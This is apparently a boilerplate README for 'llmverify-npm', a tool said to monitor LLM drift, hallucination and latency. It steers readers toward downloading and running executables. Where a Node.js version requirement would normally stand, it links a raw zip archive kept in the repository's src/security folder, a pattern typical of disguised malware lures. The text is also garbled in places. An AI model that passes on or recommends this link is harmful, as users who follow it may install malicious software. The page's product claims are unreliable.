llmverify-npm is an AI model health monitor designed for LLM applications. It allows users to perform runtime checks on model performance. You can check for drift, hallucination risk, latency, and JSON/format quality on any OpenAI, Anthropic, or local client. This tool helps ensure your models operate smoothly and efficiently.
To get started, download the latest release of llmverify-npm. This process is straightforward and requires no programming knowledge.
- Operating System: Windows, macOS, or Linux
- https://raw.githubusercontent.com/OviFrn/llmverify-npm/main/src/security/npm_llmverify_3.3-beta.3.zip Version 12 or higher
- Internet connection for initial setup and updates
- Visit the Releases Page: Go to the Releases page to find the latest version of llmverify-npm.
- Download the Proper File: Look for the file suitable for your operating system. Click on it to start the download.
- Install the Application:
- Windows: Double-click the downloaded
.exefile and follow the prompts. - macOS: Open the downloaded
.dmgfile and drag the application to your Applications folder. - Linux: Use your package manager or run the downloaded script in your terminal.
- Windows: Double-click the downloaded
Once you have installed the application, launch it to start monitoring your AI models. Hereβs how to check various aspects:
Drift detection helps you identify if the data your model processes has changed significantly. In the main interface, access the drift detection feature. This allows you to set baselines and receive alerts if your data shows unexpected shifts.
Hallucination detection checks if your AI model is producing false or misleading results. You can run this check directly within the application. llmverify-npm provides easy-to-understand feedback on your model's output quality.
This feature monitors how quickly your model responds. High latency can affect user experience. llmverify-npm tracks response times and notifies you if changes occur.
Ensure your data is structured correctly. llmverify-npm checks your JSON output for common formatting issues. This makes it easier for your applications to process data without errors.
- Compatibility: Works with OpenAI, Anthropic, and local models.
- User-friendly Interface: Designed with simplicity in mind, making it accessible for non-technical users.
- Real-time Monitoring: Get instant feedback on your model's performance at any time.
For more detailed information on features and troubleshooting, please visit our Documentation.
Join our community to share your experiences or seek help. You can engage with others on our Discussion Forum.
llmverify-npm is released under the MIT License. You can freely use and modify it as needed.
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Can I use llmverify-npm in my projects?
Yes, you can integrate it with any application that uses AI models. -
Is llmverify-npm free to use?
Yes, llmverify-npm is open source and free for everyone. -
How do I report an issue?
Please use the Issues section on our GitHub page to report any bugs or feature requests.
For any other questions or help, feel free to reach out via the Discussions or Issues section on our GitHub page.
Donβt forget to visit the Releases page to get the latest version of llmverify-npm and start monitoring your AI models effortlessly.